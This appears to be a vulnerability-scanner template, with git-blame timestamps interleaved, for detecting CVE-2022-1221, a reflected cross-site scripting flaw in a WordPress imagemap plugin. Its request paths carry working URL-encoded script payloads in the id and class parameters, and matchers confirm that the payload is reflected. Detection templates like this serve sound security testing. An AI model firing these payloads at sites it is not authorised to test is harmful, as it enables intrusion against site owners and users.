2022-05-11 13:20:31 +00:00
id : CVE-2022-1221
2022-05-11 13:17:48 +00:00
info :
2022-09-16 19:50:10 +00:00
name : WordPress Gwyn's Imagemap Selector <=0.3.3 - Cross-Site Scripting
2022-05-11 13:17:48 +00:00
author : veshraj
2022-09-16 20:03:07 +00:00
severity : medium
2022-05-11 13:17:48 +00:00
description : |
2022-09-16 19:50:10 +00:00
Wordpress Gwyn's Imagemap Selector plugin 0.3.3 and prior contains a reflected cross-site scripting vulnerability. It does not sanitize the id and class parameters before returning them back in attributes.
2022-05-11 13:17:48 +00:00
reference :
- https://wpscan.com/vulnerability/641be9f6-2f74-4386-b16e-4b9488f0d2a9
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-1221
2022-09-16 19:50:10 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-1221
2022-05-13 20:26:43 +00:00
classification :
2022-09-16 20:03:07 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score : 6.1
2022-09-16 19:50:10 +00:00
cve-id : CVE-2022-1221
2022-09-16 20:03:07 +00:00
cwe-id : CWE-79
2023-04-12 10:55:48 +00:00
cpe : cpe:2.3:a:gwyn\'s_imagemap_selector_project:gwyn\'s_imagemap_selector:*:*:*:*:*:*:*:*
epss-score : 0.00071
2022-05-11 18:58:12 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2022-05-28 17:07:20 +00:00
verified : "true"
2022-08-27 04:41:18 +00:00
tags : cve2022,wpscan,xss,wordpress,wp-plugin,wp,cve
2022-05-11 13:17:48 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-05-11 13:17:48 +00:00
- method : GET
path :
- '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1&class=%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
- '{{BaseURL}}/wp-content/plugins/gwyns-imagemap-selector/popup.php?id=1%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
2022-05-11 18:58:12 +00:00
stop-at-first-match : true
2022-05-11 13:17:48 +00:00
matchers-condition : and
matchers :
- type : word
part : body
words :
2022-05-11 18:58:12 +00:00
- "</script><script>alert(document.domain)</script> popup-"
2022-05-11 13:17:48 +00:00
- type : word
part : header
words :
- text/html
- type : status
status :
- 200
2022-09-16 19:50:10 +00:00
# Enhanced by md on 2022/09/12